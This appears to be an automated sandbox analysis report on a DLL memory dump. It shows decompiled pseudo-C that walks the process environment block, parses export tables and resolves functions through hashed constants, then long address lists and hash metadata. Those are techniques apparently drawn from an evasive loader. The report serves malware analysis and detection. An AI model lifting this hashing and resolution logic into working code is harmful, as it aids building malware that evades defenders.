							if(_t316 <= 0x3f) {
								__eflags = _t316 << 2;
								 *((intOrPtr*)( *((intOrPtr*)(_t458 + 8)) + 0x2c)) =  *((intOrPtr*)(E6F3EF558( *(_t458 + 4), _t316 << 2)));
								_t188 = E6F3EF558( *(_t458 + 0x7c), _t316 << 2);
								_t415 =  *(_t458 + 4);
								 *((intOrPtr*)(_t415 + 0x30)) =  *_t188;
								_t318 =  *((intOrPtr*)(_t415 + 0x2c));
								E6F3EB680(_t458 + 0x34);
								E6F3EB680(_t458 + 8);
							} else {
								goto L59;
							}
						}
						goto L62;
					} else {
						_t454 = 0;
						__eflags = 0;
						while(1) {
							E6F3ECB48(_t458 + 0x4c);
							_t415 = 0;
							_t345 = _t458 + 0x4c;
							 *((char*)(_t345 + 4)) = 0;
							 *((intOrPtr*)(_t345 + 0x20)) = 0;
							__eflags = E6F3EC33C(_t345);
							if(__eflags != 0) {
								break;
							}
							E6F3EF8C4(_t458 + 0x14, E6F3EF568(_t458 + 0x10) + 4);
							 *((intOrPtr*)(E6F3EF558(_t458 + 0x14, E6F3EF568(_t458 + 0x10) + 0xfffffffc))) =  *((intOrPtr*)(_t458 + 0x4c));
							 *((intOrPtr*)(_t458 + 0xc)) =  *((intOrPtr*)(_t458 + 0xc)) + 1;
							_t202 = E6F3F2F8C(0xa5eabdf8, 0xf3119fba);
							__eflags = _t202;
							if(_t202 == 0) {
								_t415 =  *(_t458 + 0x6c);
								__eflags = _t415;
								if(__eflags == 0) {
									break;
								} else {
									__eflags = _t415 - 0xffffffff;
									if(__eflags != 0) {
										E6F3EF8C4(_t458 + 0x40, E6F3EF568(_t458 + 0x3c) + 4);
										 *(E6F3EF558(_t458 + 0x40, E6F3EF568(_t458 + 0x3c) + 0xfffffffc)) =  *(_t458 + 0x6c);
										 *((intOrPtr*)(_t458 + 0x4c - 0x14)) =  *((intOrPtr*)(_t458 + 0x4c - 0x14)) + 1;
										E6F3ECDE0(_t458 + 0x4c, __eflags);
										_t454 = _t454 + 1;
										__eflags = _t454 -  *(_t458 + 0x80);
										if(_t454 <  *(_t458 + 0x80)) {
											continue;
										} else {
											_t437 = 0;
											__eflags = 0;
											do {
												_t211 = E6F3EF558( *(_t458 + 4), _t437 * 4);
												_t212 = E6F3EF558(_t458 + 0x40, _t437 * 4);
												E6F3E8C14( *_t211, E6F3F034C(0xa5eabdf8, 0x4145240a),  *_t212, 0, 0);
												_t437 = _t437 + 1;
												__eflags = _t437 -  *(_t458 + 0x80);
											} while (_t437 <  *(_t458 + 0x80));
											goto L57;
										}
									} else {
										break;
									}
								}
							} else {
								__eflags = 0;
								_push(2);
								_push(0);
								_push(0);
								_push(_t458 + 0x6c);
								_push( *((intOrPtr*)(_t458 + 0x78)));
								_push( *((intOrPtr*)(_t458 + 0x60)));
								_push(0xffffffff);
								asm("int3");
								return _t202;
							}
							goto L71;
						}
						E6F3ECDE0(_t458 + 0x4c, __eflags);
						L59:
						E6F3EB680(_t458 + 0x34);
						E6F3EB680(_t458 + 8);
						goto L60;
					}
					goto L71;
				}
			}

0x6f3e84e4
0x6f3e84e8
0x6f3e84f1
0x6f3e84f7
0x6f3e84fb
0x6f3e84ff
0x6f3e850a
0x6f3e850e
0x6f3e8513
0x6f3e851b
0x6f3e852b
0x00000000
0x6f3e852d
0x6f3e8535
0x6f3e853c
0x6f3e853c
0x6f3e8a8f
0x6f3e8a91
0x6f3e8ad2
0x6f3e8ad4
0x6f3e8ae3
0x6f3e8aef
0x6f3e8ad6
0x6f3e8ade
0x6f3e8af5
0x6f3e8afa
0x00000000
0x6f3e8ae0
0x6f3e8ae2
0x00000000
0x6f3e8ae2
0x6f3e8ade
0x00000000
0x6f3e8546
0x6f3e854a
0x6f3e854d
0x6f3e8553
0x6f3e8553
0x6f3e8555
0x6f3e855c
0x6f3e856a
0x6f3e856c
0x6f3e8570
0x6f3e8572
0x6f3e859e
0x6f3e85a2
0x6f3e85a7
0x6f3e85ac
0x6f3e85b0
0x6f3e85b4
0x6f3e85bb
0x6f3e85c0
0x6f3e85c2
0x6f3e8b51
0x6f3e8b60
0x6f3e8b7f
0x6f3e8b84
0x6f3e8b84
0x6f3e85d5
0x6f3e85da
0x6f3e85de
0x6f3e85de
0x6f3e85de
0x6f3e85ef
0x6f3e85f1
0x6f3e85f3
0x6f3e8604
0x6f3e8604
0x6f3e8609
0x6f3e860e
0x6f3e8612
0x6f3e8617
0x6f3e861e
0x6f3e8623
0x6f3e8625
0x6f3e8b13
0x6f3e8b1f
0x6f3e8b39
0x6f3e8b3e
0x6f3e8b3e
0x6f3e863b
0x6f3e8640
0x6f3e8644
0x6f3e8644
0x6f3e8644
0x6f3e8644
0x6f3e8647
0x6f3e8647
0x6f3e8574
0x6f3e8576
0x6f3e8576
0x6f3e8578
0x6f3e8584
0x6f3e858b
0x6f3e858d
0x00000000
0x00000000
0x6f3e8599
0x6f3e859a
0x6f3e859c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f3e859c
0x6f3e858f
0x6f3e8592
0x00000000
0x00000000
0x6f3e8594
0x6f3e8592
0x6f3e8648
0x6f3e864c
0x6f3e864d
0x6f3e864d
0x6f3e8555
0x6f3e8655
0x6f3e865a
0x6f3e8660
0x6f3e8660
0x6f3e8662
0x6f3e8669
0x6f3e8677
0x6f3e8679
0x6f3e867d
0x6f3e867f
0x6f3e8681
0x6f3e86bc
0x6f3e86cb
0x6f3e86cd
0x6f3e86cf
0x6f3e86ed
0x6f3e86ef
0x6f3e86f1
0x6f3e8703
0x6f3e8721
0x6f3e872a
0x6f3e872d
0x6f3e873b
0x6f3e874c
0x6f3e876a
0x6f3e876c
0x6f3e8770
0x6f3e8770
0x6f3e8770
0x6f3e86f1
0x6f3e8683
0x6f3e8687
0x6f3e8687
0x6f3e868c
0x6f3e8693
0x6f3e86a2
0x6f3e86a9
0x6f3e86ab
0x00000000
0x00000000
0x6f3e86b7
0x6f3e86b8
0x6f3e86ba
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f3e86ba
0x6f3e86ad
0x6f3e86b0
0x00000000
0x00000000
0x6f3e86b2
0x6f3e86b0
0x6f3e8772
0x6f3e8772
0x6f3e8773
0x6f3e8773
0x6f3e8662
0x6f3e8781
0x6f3e8786
0x6f3e878a
0x6f3e878e
0x6f3e8794
0x6f3e8796
0x6f3e8798
0x6f3e87a2
0x6f3e87a2
0x6f3e87a4
0x6f3e87a7
0x6f3e87a9
0x6f3e87b1
0x6f3e87b8
0x6f3e87bc
0x6f3e87bf
0x00000000
0x00000000
0x6f3e88bb
0x6f3e88bc
0x6f3e88be
0x00000000
0x00000000
0x00000000
0x6f3e88be
0x6f3e87c5
0x6f3e87c8
0x6f3e87d1
0x6f3e87d6
0x6f3e87d8
0x6f3e87e4
0x6f3e87e8
0x6f3e87ed
0x6f3e87f1
0x6f3e8bce
0x6f3e8be2
0x6f3e8c04
0x6f3e8c09
0x6f3e8c09
0x6f3e8807
0x6f3e880c
0x6f3e8810
0x6f3e8810
0x6f3e8810
0x6f3e8810
0x6f3e8815
0x6f3e881a
0x6f3e881c
0x6f3e8820
0x6f3e8827
0x6f3e882c
0x6f3e882e
0x6f3e8b8f
0x6f3e8b9e
0x6f3e8bb7
0x6f3e8bbc
0x6f3e8bbc
0x6f3e8841
0x6f3e8846
0x6f3e884a
0x6f3e884a
0x6f3e884a
0x6f3e885c
0x6f3e887d
0x6f3e8885
0x6f3e8893
0x6f3e88b1
0x6f3e88b7
0x6f3e88b7
0x6f3e87c8
0x6f3e8798
0x6f3e88c4
0x6f3e88c6
0x6f3e88ca
0x6f3e88d3
0x6f3e88de
0x6f3e88e2
0x6f3e88eb
0x6f3e88f0
0x6f3e88f6
0x6f3e88f7
0x6f3e88fb
0x6f3e88ff
0x6f3e8906
0x6f3e8908
0x6f3e8a48
0x6f3e8a59
0x6f3e8a60
0x6f3e8a67
0x6f3e8a67
0x6f3e8a6a
0x6f3e8a6d
0x6f3e8a70
0x6f3e8a76
0x00000000
0x6f3e8a78
0x6f3e8a78
0x6f3e8a7b
0x6f3e8a94
0x6f3e8aac
0x6f3e8aaf
0x6f3e8ab4
0x6f3e8abe
0x6f3e8ac1
0x6f3e8ac4
0x6f3e8acd
0x00000000
0x00000000
0x00000000
0x6f3e8a7b
0x00000000
0x6f3e890e
0x6f3e8910
0x6f3e8910
0x6f3e8912
0x6f3e8916
0x6f3e891b
0x6f3e891d
0x6f3e8921
0x6f3e8924
0x6f3e892c
0x6f3e892e
0x00000000
0x00000000
0x6f3e8945
0x6f3e8960
0x6f3e8962
0x6f3e8970
0x6f3e8975
0x6f3e8977
0x6f3e8994
0x6f3e8998
0x6f3e899a
0x00000000
0x6f3e899c
0x6f3e899c
0x6f3e899f
0x6f3e89c0
0x6f3e89df
0x6f3e89e5
0x6f3e89e8
0x6f3e89ed
0x6f3e89ee
0x6f3e89f5
0x00000000
0x6f3e89fb
0x6f3e89fd
0x6f3e89fd
0x6f3e89ff
0x6f3e8a0b
0x6f3e8a17
0x6f3e8a39
0x6f3e8a3e
0x6f3e8a3f
0x6f3e8a3f
0x00000000
0x6f3e89ff
0x00000000
0x00000000
0x00000000
0x6f3e899f
0x6f3e8979
0x6f3e8979
0x6f3e897f
0x6f3e8981
0x6f3e8982
0x6f3e8983
0x6f3e8984
0x6f3e8988
0x6f3e898c
0x6f3e898e
0x6f3e898f
0x6f3e898f
0x00000000
0x6f3e8977
0x6f3e89a5
0x6f3e8a7d
0x6f3e8a81
0x6f3e8a8a
0x00000000
0x6f3e8a8a
0x00000000
0x6f3e8908

Strings

, xrefs: 6F3E8AD6

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 4153d0f3c58a5b3baef0bd4166027248aa1672a9a499091add95b261848e7cec
Instruction ID: bac93c97a4b97a1251bf63bd03891868164d0cbae8fc4ea0697f024e27314fd0
Opcode Fuzzy Hash: 4153d0f3c58a5b3baef0bd4166027248aa1672a9a499091add95b261848e7cec
Instruction Fuzzy Hash: 07127D716083649FC704DF34D980A6EB7E5AFA5309F004A2EE5E9972E0EB71ED05CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6F3F14D8, Relevance: .6, Instructions: 572
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E6F3F14D8(signed char __eax, signed char __edx) {
				void* __ebx;
				void* __esi;
				void* __ebp;
				signed char _t231;
				signed char _t233;
				signed char _t238;
				intOrPtr _t241;
				void* _t246;
				signed char _t257;
				signed char _t261;
				signed char _t269;
				signed char _t270;
				signed char _t277;
				signed int _t279;
				signed char _t280;
				signed char _t281;
				void* _t289;
				void* _t290;
				signed char _t315;
				void* _t319;
				signed char _t334;
				signed char _t336;
				void* _t341;
				void* _t347;
				intOrPtr _t352;
				signed char _t354;
				signed char _t363;
				void* _t369;
				intOrPtr _t371;
				signed short* _t373;
				void _t375;
				void* _t379;
				signed int _t381;
				void* _t382;
				void** _t383;
				void* _t384;
				char* _t387;
				signed char _t395;
				signed char* _t396;
				intOrPtr _t400;
				signed int _t451;
				intOrPtr* _t455;
				signed char _t456;
				signed int _t462;
				void* _t467;
				signed char _t471;
				signed char _t472;
				signed char* _t477;
				signed char _t487;
				signed int _t490;
				intOrPtr* _t496;
				intOrPtr _t497;
				signed char _t498;
				signed char _t499;
				intOrPtr _t500;
				signed char _t508;
				intOrPtr _t510;
				void* _t513;
				signed char _t519;
				intOrPtr* _t524;
				signed char _t525;
				signed char _t526;
				signed char _t527;
				signed char _t529;
				signed char* _t531;
				signed char _t532;
				void* _t533;
				void* _t534;
				signed char* _t535;

				_t535[0x54] = __edx;
				 *_t535 = __eax;
				_t231 = E6F3F03A0(__edx, 1);
				if(_t231 != 0) {
					return _t231;
				}
				_t535[0x2c] = _t231;
				if( *0x6f3fd208 == 0 ||  *0x6f3fd2e4 != 0) {
					L44:
					if( *_t535 == 0) {
						return 0;
					}
					_t233 =  *_t535;
					_t371 =  *((intOrPtr*)(_t233 + 0x3c));
					_t510 =  *((intOrPtr*)(_t371 + _t233 + 0x78));
					_t535[0x130] =  *((intOrPtr*)(_t371 + _t233 + 0x7c)) + _t510;
					_t524 =  *((intOrPtr*)(_t510 + _t233 + 0x20)) + _t233;
					_t373 =  *((intOrPtr*)(_t510 + _t233 + 0x24)) + _t233;
					if( *((intOrPtr*)(_t510 + _t233 + 0x18)) <= 0) {
						L77:
						 *_t535 = 0;
						_t535[0x2c] = 0;
						L78:
						return  *_t535;
					}
					_t535[0x12c] = 0;
					_t535[0x174] = _t535[0x54] ^ 0x212ae3b8;
					do {
						_t467 = 0;
						_t387 =  *_t524 +  *_t535;
						_t238 =  *_t387;
						_t535[0x58] = _t238;
						if(_t238 == 0) {
							L49:
							if(E6F3F4BE0( &(_t535[0x58]), _t467) == _t535[0x174]) {
								_t535[0x2c] = 0;
								_t241 =  *((intOrPtr*)( *((intOrPtr*)(_t510 +  *_t535 + 0x1c)) +  *_t535 + ( *_t373 & 0x0000ffff) * 4));
								__eflags = _t241 - _t510;
								if(_t241 < _t510) {
									L57:
									_t471 =  *_t535 + _t241;
									__eflags = _t471;
									 *_t535 = _t471;
									_t535[0x2c] = _t471;
									L58:
									__eflags =  *_t535;
									if( *_t535 == 0) {
										goto L78;
									}
									__eflags =  *0x6f3fd2ec |  *0x6f3fd2ed;
									if(( *0x6f3fd2ec |  *0x6f3fd2ed) == 0) {
										_t525 =  *0x6f3fd208; // 0x49f1340
										__eflags = _t525;
										if(_t525 == 0) {
											 *0x6f3fd2ec = 1;
											_t526 = E6F3F3558(0x1c4);
											__eflags = _t526;
											if(_t526 == 0) {
												_t526 = 0;
												__eflags = 0;
											} else {
												E6F3F1CCC(_t526, 0x10);
												 *(_t526 + 0x1c0) = 0;
											}
											 *0x6f3fd208 = _t526;
											 *0x6f3fd2ec = 0;
											L68:
											_t246 = 0;
											_t472 = 0;
											__eflags = 0;
											while(1) {
												__eflags =  *(_t472 + _t526 + 8);
												if( *(_t472 + _t526 + 8) == 0) {
													break;
												}
												_t246 = _t246 + 1;
												_t472 = _t472 + 0x1c;
												__eflags = _t246 - 0x10;
												if(_t246 < 0x10) {
													continue;
												}
												_t375 = E6F3F3558(0x1c4);
												__eflags = _t375;
												if(_t375 == 0) {
													_t375 = 0;
													__eflags = 0;
												} else {
													E6F3F1CCC(_t375, 0x10);
													 *(_t375 + 0x1c0) = 0;
												}
												 *(_t375 + 0x14) = _t535[0x2c];
												E6F3EE070(_t375,  &(_t535[0x58]));
												 *(_t375 + 8) = _t535[0x54];
												 *(_t526 + 0x1c0) = _t375;
												L76:
												 *_t535 = _t535[0x2c];
												goto L78;
											}
											_t527 = _t526 + _t472;
											__eflags = _t527;
											 *((intOrPtr*)(_t527 + 0x14)) =  *((intOrPtr*)( &(_t535[0x58]) - 0x2c));
											E6F3EE070(_t527,  &(_t535[0x58]));
											 *(_t527 + 8) = _t535[0x54];
											goto L76;
										}
										_t257 =  *(_t525 + 0x1c0);
										while(1) {
											__eflags = _t257;
											if(_t257 == 0) {
												goto L68;
											}
											_t526 = _t257;
											_t257 =  *(_t257 + 0x1c0);
										}
										goto L68;
									}
									__eflags = _t535[0x54] - 0xd926c223;
									if(_t535[0x54] == 0xd926c223) {
										 *0x6f3fd20c =  *_t535;
									} else {
										__eflags = _t535[0x54] - 0x80febacc;
										if(_t535[0x54] == 0x80febacc) {
											 *0x6f3fd210 =  *_t535;
										}
									}
									goto L78;
								}
								__eflags = _t241 - _t535[0x130];
								if(_t241 >= _t535[0x130]) {
									goto L57;
								}
								_t535[0x130] =  &(_t535[0x58]);
								_t261 = E6F3EE94C( &(_t535[0x58]), 0x7fffffff);
								_t477 =  &(_t535[0x12c]);
								 *_t477 = _t261;
								_t477[2] = _t261 + 1;
								_t395 = E6F3F2F94(0xa5eabdf8, 0x9766f056, 0xa5eabdf8, 0xa5eabdf8);
								__eflags = _t395;
								if(_t395 != 0) {
									_t202 =  &(_t535[0x12c]); // 0x100
									 *_t395(_t535[0xc], _t202, 0,  &(_t535[0x2c]));
								}
								 *_t535 = _t535[0x2c];
								goto L58;
							}
							goto L50;
						} else {
							goto L48;
						}
						do {
							L48:
							_t467 = _t467 + 1;
							_t270 =  *((intOrPtr*)(_t467 + _t387));
							_t535[_t467 + 0x58] = _t270;
						} while (_t270 != 0);
						goto L49;
						L50:
						_t524 = _t524 + 4;
						_t396 =  &(_t535[0x12c]);
						_t373 =  &(_t373[1]);
						_t269 =  *_t396 + 1;
						 *_t396 = _t269;
					} while (_t269 <  *((intOrPtr*)(_t510 +  *_t535 + 0x18)));
					goto L77;
				} else {
					_t535[0x30] = 0;
					 *0x6f3fd2e4 = 1;
					E6F3EF620( &(_t535[0x38]), 0);
					E6F3EF620( &(_t535[0x168]), 0x1c);
					_t535[0x58] = E6F3EF558( &(_t535[0x168]), 0);
					_t400 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0xc));
					_t535[0x48] =  *(_t400 + 0xc);
					_t535[0x60] =  *(_t400 + 0x10);
					goto L5;
					L6:
					_t384 = 0;
					do {
						if(( *(_t529 + 0x24) & 0x20000000) == 0) {
							goto L13;
						}
						_t513 =  *((intOrPtr*)(_t529 + 0xc)) + _t535[0x58] +  *((intOrPtr*)(_t529 + 8));
						_t496 = E6F3F2F94(0xa5eabdf8, 0x22dc1034, _t279, _t279);
						if(_t496 == 0) {
							L10:
							_t456 = _t535[0x50];
							_t497 =  *((intOrPtr*)(_t529 + 0xc));
							_t498 = _t497 + _t456;
							_t500 =  *((intOrPtr*)(_t529 + 8));
							_t535[0x28] = _t498;
							_t499 = _t498 + _t500;
							_t363 =  *(_t535[0x58]) - _t456 - _t497 - _t500 -  *((intOrPtr*)(_t535[0x58] + 0xc));
							_t535[0x24] = _t529;
							_t535[0x20] =  *(_t535[0x48] + 0x30);
							if((_t499 & 0x00000003) == 0) {
								L12:
								_t535[0x1c] = _t363;
								_t535[0x18] = _t499;
								E6F3EF8C4( &(_t535[0xc]), E6F3EF568( &(_t535[8])) + 0x14);
								_t369 = E6F3EF558( &(_t535[0xc]), E6F3EF568( &(_t535[8])) + 0xffffffec);
								_t462 = 5;
								_t279 = memcpy(_t369,  &(_t535[0x18]), _t462 << 2);
								_t535 =  &(_t535[0xc]);
								_t535[4] = _t535[4] + 1;
								goto L13;
							} else {
								goto L11;
							}
							do {
								L11:
								_t499 = _t499 + 1;
								_t363 = _t363 - 1;
							} while ((_t499 & 0x00000003) != 0);
							goto L12;
						}
						_t279 =  *_t496(0xffffffff, _t513, 0, _t535[0x60], 0x1c, 0);
						if(0 < 0) {
							goto L13;
						}
						goto L10;
						L13:
						_t384 = _t384 + 1;
						_t529 = _t529 + 0x28;
					} while (_t384 < _t535[0x5c]);
					L14:
					_t280 = _t535[4];
					_t535[0x44] = _t280;
					if(_t280 <= 1) {
						L21:
						if(_t535[0x44] <= 0) {
							L24:
							_t281 = _t535[0x48];
							_t556 = _t281 - _t535[0x60];
							if(_t281 != _t535[0x60]) {
								_t535[0x48] =  *_t281;
								E6F3EF6F0( &(_t535[8]));
								L5:
								_t277 =  *(_t535[0x48] + 0x18);
								_t535[0x50] = _t277;
								_t535[4] = 0;
								_t379 =  *((intOrPtr*)(_t277 + 0x3c)) + _t277;
								E6F3EF620( &(_t535[0xc]), 0);
								_t279 =  *(_t379 + 6) & 0x0000ffff;
								_t535[0x5c] = _t279;
								_t529 = _t379 + ( *(_t379 + 0x14) & 0x0000ffff) + 0x18;
								if(_t279 <= 0) {
									goto L14;
								}
								goto L6;
							}
							E6F3EF6F0( &(_t535[8]));
							E6F3EF6F0( &(_t535[0x164]));
							E6F3EF620( &(_t535[0x48]), 0);
							_t535[0x18] = 0;
							E6F3EF620( &(_t535[0x20]), 0);
							_push(0xa5eabdf8);
							_t289 = E6F3F1DD0(0xa5eabdf8);
							_t290 = E6F3F1388( &(_t535[0x154]), _t517, _t556);
							_push(_t290);
							_push(_t290);
							E6F3F1D08( &(_t535[0x164]), 0xa5eabdf8);
							_t518 =  &(_t535[0x178]);
							E6F3ED0D0( &(_t535[0x178]) - 0x24,  &(_t535[0x178]), _t535[0x15c]);
							_push(0x80);
							_push(0);
							E6F3F5C40( &(_t535[0x114]), _t556, _t535[0x184], 1);
							E6F3F5C74( &(_t535[0x180]) - 0x7c, _t556,  &(_t535[0x180]), 0);
							_push(_t289);
							E6F3F8D74( &(_t535[0xe4]),  &(_t535[0x180]), 2);
							E6F3EF6F0( &(_t535[0x180]));
							_t557 = _t535[0x114];
							if(_t535[0x114] != 0) {
								E6F3EBC00( &(_t535[0x110]));
							}
							E6F3ED098( &(_t535[0x104]));
							E6F3ED098(_t518);
							E6F3ED098( &(_t535[0x15c]));
							E6F3ED098( &(_t535[0x154]));
							E6F3F9058( &(_t535[0xdc]), 0xffffffff);
							_t535[0x118] = _t535[0xf0];
							E6F3EF6B4( &(_t535[0x11c]), _t557,  &(_t535[0xf4]));
							_push(1);
							E6F3F901C( &(_t535[0x11c]));
							_t381 = 0;
							_t535[0x64] = 0;
							_t535[0x60] = 0;
							do {
								_t535[0x58] = E6F3EF558( &(_t535[0x38]), _t535[0x60]);
								_t535[0x70] = E6F3EF568( &(_t535[0x44]));
								_t519 =  *(0x6f3fbce0 + _t381 * 4);
								_t531 = E6F3F8FE8( &(_t535[0xf4]), _t519, _t519);
								if(_t531 == 0) {
									goto L42;
								}
								_t508 = E6F3F8754( &(_t535[0x11c]), _t519,  *_t531);
								_t532 =  *_t531;
								while(_t532 ==  *_t508) {
									_t508 = _t508 + 8;
									__eflags = _t508;
								}
								_t315 =  *_t508;
								_t535[0x74] = _t315;
								_t535[0x78] = _t315 - _t532;
								if(_t381 != 0) {
									L38:
									_t535[0x68] = E6F3EF568( &(_t535[0x44]));
									_t535[0x6c] = _t519;
									E6F3EF578( &(_t535[0x4c]), _t562, _t532, _t535[0x78]);
									_t319 = E6F3EF568( &(_t535[0x44]));
									_t487 = _t535[0x58];
									_t563 = _t319 -  *((intOrPtr*)(_t487 + 4));
									if(_t319 <=  *((intOrPtr*)(_t487 + 4))) {
										E6F3EF8C4( &(_t535[0x20]), E6F3EF568( &(_t535[0x1c])) + 8);
										E6F3EF558( &(_t535[0x20]), E6F3EF568( &(_t535[0x1c])) + 0xfffffff8);
										asm("movsd");
										asm("movsd");
										_t535[0x18] = _t535[0x18] + 1;
										__eflags = _t381 - 0x1d;
										if(__eflags == 0) {
											_t228 =  &(_t535[0x44]); // 0x2c
											E6F3F30A4(_t535[0x58], _t228, __eflags,  &(_t535[0x18]));
										}
										goto L42;
									}
									E6F3EF8C4( &(_t535[0x48]), _t535[0x70]);
									E6F3F30A4(_t535[0x58],  &(_t535[0x44]), _t563,  &(_t535[0x18]));
									E6F3EF8DC( &(_t535[0x44]), _t563);
									E6F3EF8DC( &(_t535[0x1c]), _t563);
									_t381 = _t381 - 1;
									_t334 = _t535[0x64] + 1;
									_t535[0x60] = _t535[0x60] + 0x14;
									_t535[0x18] = 0;
									_t535[0x64] = _t334;
									if(_t334 == _t535[0x30]) {
										break;
									}
									goto L42;
								}
								E6F3F90A8( &(_t535[0x134]), _t519);
								_t535[0x5c] = _t532;
								while(1) {
									_t336 = _t535[0x5c];
									_t562 =  *_t336 - 0xb8;
									if( *_t336 == 0xb8) {
										break;
									}
									_t490 = _t535[0x5c] + E6F3F9070( &(_t535[0x138]), __eflags, _t535[0x74]);
									_t535[0x5c] = _t490;
									__eflags = _t490 -  *_t508;
									if(__eflags < 0) {
										continue;
									}
									L37:
									E6F3EF6F0( &(_t535[0x144]));
									E6F3EF6F0( &(_t535[0x134]));
									goto L38;
								}
								 *0x6f3fd2e8 =  *((intOrPtr*)(_t336 + 1));
								goto L37;
								L42:
								_t381 = _t381 + 1;
							} while (_t381 < 0x1e);
							E6F3EF6F0( &(_t535[0x11c]));
							E6F3F8DD4(_t381,  &(_t535[0xd8]));
							E6F3EF6F0( &(_t535[0x1c]));
							E6F3EF6F0( &(_t535[0x44]));
							E6F3EF6F0( &(_t535[0x34]));
							goto L44;
						}
						_t533 = 0;
						_t382 = 0;
						do {
							_t341 = E6F3EF558( &(_t535[0xc]), _t382);
							_t517 = _t341;
							E6F3EF8C4( &(_t535[0x38]), E6F3EF568( &(_t535[0x34])) + 0x14);
							_t347 = E6F3EF558( &(_t535[0x38]), E6F3EF568( &(_t535[0x34])) + 0xffffffec);
							_t451 = 5;
							memcpy(_t347, _t341, _t451 << 2);
							_t535 =  &(_t535[0xc]);
							_t533 = _t533 + 1;
							_t382 = _t382 + 0x14;
							_t535[0x30] = _t535[0x30] + 1;
						} while (_t533 < _t535[0x44]);
						goto L24;
					}
					_t535[0x4c] = 1;
					_t534 = 0x14;
					do {
						_t62 = _t534 - 0x14; // 0x0
						_t383 = E6F3EF558( &(_t535[0xc]), _t62);
						_t455 = E6F3EF558( &(_t535[0xc]), _t534);
						_t517 =  *_t383;
						_t352 =  *_t455;
						if(_t352 >= _t517 && _t352 <= _t383[1] + _t517) {
							_t383[1] =  *((intOrPtr*)(_t455 + 0x10)) - _t517;
						}
						_t534 = _t534 + 0x14;
						_t354 = _t535[0x4c] + 1;
						_t535[0x4c] = _t354;
					} while (_t354 < _t535[0x44]);
					_t535[0x44] = _t535[4];
					goto L21;
				}
			}

0x6f3f14e4
0x6f3f14eb
0x6f3f14ee
0x6f3f14f5
0x6f3f1c77
0x6f3f1c77
0x6f3f14fb
0x6f3f1506
0x6f3f1a45
0x6f3f1a49
0x00000000
0x6f3f1cc8
0x6f3f1a4f
0x6f3f1a52
0x6f3f1a55
0x6f3f1a5f
0x6f3f1a6e
0x6f3f1a70
0x6f3f1a77
0x6f3f1c61
0x6f3f1c63
0x6f3f1c66
0x6f3f1c6a
0x00000000
0x6f3f1c6a
0x6f3f1a86
0x6f3f1a91
0x6f3f1a98
0x6f3f1a9b
0x6f3f1a9d
0x6f3f1aa0
0x6f3f1aa3
0x6f3f1aa9
0x6f3f1ab7
0x6f3f1ac7
0x6f3f1aec
0x6f3f1afd
0x6f3f1b00
0x6f3f1b02
0x6f3f1b66
0x6f3f1b69
0x6f3f1b69
0x6f3f1b6b
0x6f3f1b6e
0x6f3f1b72
0x6f3f1b72
0x6f3f1b76
0x00000000
0x00000000
0x6f3f1b83
0x6f3f1b89
0x6f3f1bbd
0x6f3f1bc3
0x6f3f1bc5
0x6f3f1c94
0x6f3f1c9c
0x6f3f1c9f
0x6f3f1ca1
0x6f3f1cb8
0x6f3f1cb8
0x6f3f1ca3
0x6f3f1ca7
0x6f3f1cac
0x6f3f1cac
0x6f3f1cba
0x6f3f1cc0
0x6f3f1bdf
0x6f3f1bdf
0x6f3f1be1
0x6f3f1be1
0x6f3f1be3
0x6f3f1be3
0x6f3f1be8
0x00000000
0x00000000
0x6f3f1bea
0x6f3f1beb
0x6f3f1bee
0x6f3f1bf1
0x00000000
0x00000000
0x6f3f1bfd
0x6f3f1c00
0x6f3f1c02
0x6f3f1c19
0x6f3f1c19
0x6f3f1c04
0x6f3f1c08
0x6f3f1c0d
0x6f3f1c0d
0x6f3f1c26
0x6f3f1c29
0x6f3f1c32
0x6f3f1c35
0x6f3f1c58
0x6f3f1c5c
0x00000000
0x6f3f1c5c
0x6f3f1c3d
0x6f3f1c3d
0x6f3f1c49
0x6f3f1c4c
0x6f3f1c55
0x00000000
0x6f3f1c55
0x6f3f1bcb
0x6f3f1bdb
0x6f3f1bdb
0x6f3f1bdd
0x00000000
0x00000000
0x6f3f1bd3
0x6f3f1bd5
0x6f3f1bd5
0x00000000
0x6f3f1bdb
0x6f3f1b8b
0x6f3f1b93
0x6f3f1bb3
0x6f3f1b95
0x6f3f1b95
0x6f3f1b9d
0x6f3f1ba6
0x6f3f1ba6
0x6f3f1b9d
0x00000000
0x6f3f1b93
0x6f3f1b04
0x6f3f1b0b
0x00000000
0x00000000
0x6f3f1b18
0x6f3f1b1e
0x6f3f1b23
0x6f3f1b2a
0x6f3f1b2e
0x6f3f1b43
0x6f3f1b45
0x6f3f1b47
0x6f3f1b4d
0x6f3f1b5b
0x6f3f1b5b
0x6f3f1b61
0x00000000
0x6f3f1b61
0x00000000
0x00000000
0x00000000
0x00000000
0x6f3f1aab
0x6f3f1aab
0x6f3f1aab
0x6f3f1aac
0x6f3f1aaf
0x6f3f1ab3
0x00000000
0x6f3f1ac9
0x6f3f1acc
0x6f3f1acf
0x6f3f1ad8
0x6f3f1adb
0x6f3f1adc
0x6f3f1ade
0x00000000
0x6f3f1519
0x6f3f151b
0x6f3f1520
0x6f3f152b
0x6f3f1539
0x6f3f154c
0x6f3f1559
0x6f3f1562
0x6f3f1566
0x6f3f156a
0x6f3f15b2
0x6f3f15b2
0x6f3f15b4
0x6f3f15bb
0x00000000
0x00000000
0x6f3f15d4
0x6f3f15dc
0x6f3f15e0
0x6f3f15f5
0x6f3f15f9
0x6f3f15fd
0x6f3f1606
0x6f3f160c
0x6f3f160f
0x6f3f1613
0x6f3f161b
0x6f3f161d
0x6f3f1621
0x6f3f1628
0x6f3f1631
0x6f3f1631
0x6f3f1635
0x6f3f164a
0x6f3f1660
0x6f3f166d
0x6f3f166e
0x6f3f166e
0x6f3f1670
0x00000000
0x00000000
0x00000000
0x00000000
0x6f3f162a
